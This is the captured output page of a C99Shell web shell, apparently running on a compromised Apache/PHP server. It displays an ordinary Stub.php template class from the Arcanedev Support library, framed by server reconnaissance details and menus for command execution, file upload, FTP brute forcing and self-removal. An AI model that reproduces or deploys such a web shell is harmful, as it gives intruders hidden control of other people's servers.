!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/arcanedev/support/src/   drwxr-xr-x
Free 29.16 GB of 117.98 GB (24.72%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Stub.php (4.75 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Arcanedev\Support;

/**
 * Class     Stub
 *
 * @author   ARCANEDEV <arcanedev.maroc@gmail.com>
 */
class Stub
{
    
/* -----------------------------------------------------------------
     |  Properties
     | -----------------------------------------------------------------
     */

    /**
     * The stub path.
     *
     * @var string
     */
    
protected $path;

    
/**
     * The base path of stub file.
     *
     * @var string|null
     */
    
protected static $basePath null;

    
/**
     * The replacements array.
     *
     * @var array
     */
    
protected $replaces = [];

    
/* -----------------------------------------------------------------
     |  Constructor
     | -----------------------------------------------------------------
     */

    /**
     * Create a new instance.
     *
     * @param  string  $path
     * @param  array   $replaces
     */
    
public function __construct($path, array $replaces = [])
    {
        
$this->setPath($path);
        
$this->setReplaces($replaces);
    }

    
/* -----------------------------------------------------------------
     |  Getters & Setters
     | -----------------------------------------------------------------
     */

    /**
     * Get stub path.
     *
     * @return string
     */
    
public function getPath(): string
    
{
        
$path $this->path;

        if ( ! empty(static::
$basePath)) {
            
$path = static::$basePath.DIRECTORY_SEPARATOR.ltrim($pathDIRECTORY_SEPARATOR);
        }

        return 
$path;
    }

    
/**
     * Set stub path.
     *
     * @param  string  $path
     *
     * @return $this
     */
    
public function setPath(string $path): self
    
{
        
$this->path $path;

        return 
$this;
    }

    
/**
     * Get base path.
     *
     * @return string|null
     */
    
public static function getBasePath(): ?string
    
{
        return static::
$basePath;
    }

    
/**
     * Set base path.
     *
     * @param  string  $path
     */
    
public static function setBasePath(string $path)
    {
        static::
$basePath $path;
    }

    
/**
     * Get replacements.
     *
     * @return array
     */
    
public function getReplaces(): array
    {
        return 
$this->replaces;
    }

    
/**
     * Set replacements array.
     *
     * @param  array  $replaces
     *
     * @return $this
     */
    
public function setReplaces(array $replaces = []): self
    
{
        
$this->replaces $replaces;

        return 
$this;
    }

    
/**
     * Set replacements array.
     *
     * @param  array  $replaces
     *
     * @return $this
     */
    
public function replaces(array $replaces = []): self
    
{
        return 
$this->setReplaces($replaces);
    }

    
/* -----------------------------------------------------------------
     |  Main Methods
     | -----------------------------------------------------------------
     */

    /**
     * Create new self instance.
     *
     * @param  string  $path
     * @param  array   $replaces
     *
     * @return $this
     */
    
public static function create(string $path, array $replaces = []): self
    
{
        return new static(
$path$replaces);
    }

    
/**
     * Create new self instance from full path.
     *
     * @param  string  $path
     * @param  array   $replaces
     *
     * @return $this
     */
    
public static function createFromPath(string $path, array $replaces = []): self
    
{
        return 
tap(new static($path$replaces), function (self $stub) {
            
$stub->setBasePath('');
        });
    }

    
/**
     * Get stub contents.
     *
     * @return string
     */
    
public function render(): string
    
{
        return 
$this->getContents();
    }

    
/**
     * Save stub to base path.
     *
     * @param  string  $filename
     *
     * @return bool
     */
    
public function save(string $filename): bool
    
{
        return 
$this->saveTo(self::getBasePath(), $filename);
    }

    
/**
     * Save stub to specific path.
     *
     * @param  string  $path
     * @param  string  $filename
     *
     * @return bool
     */
    
public function saveTo(string $pathstring $filename): bool
    
{
        return 
file_put_contents($path.DIRECTORY_SEPARATOR.$filename$this->render()) !== false;
    }

    
/**
     * Get stub contents.
     *
     * @return string|mixed
     */
    
public function getContents()
    {
        
$contents file_get_contents($this->getPath());

        foreach (
$this->getReplaces() as $search => $replace) {
            
$contents str_replace('$'.strtoupper($search).'$'$replace$contents);
        }

        return 
$contents;
    }

    
/**
     * Handle magic method __toString.
     *
     * @return string
     */
    
public function __toString(): string
    
{
        return 
$this->render();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--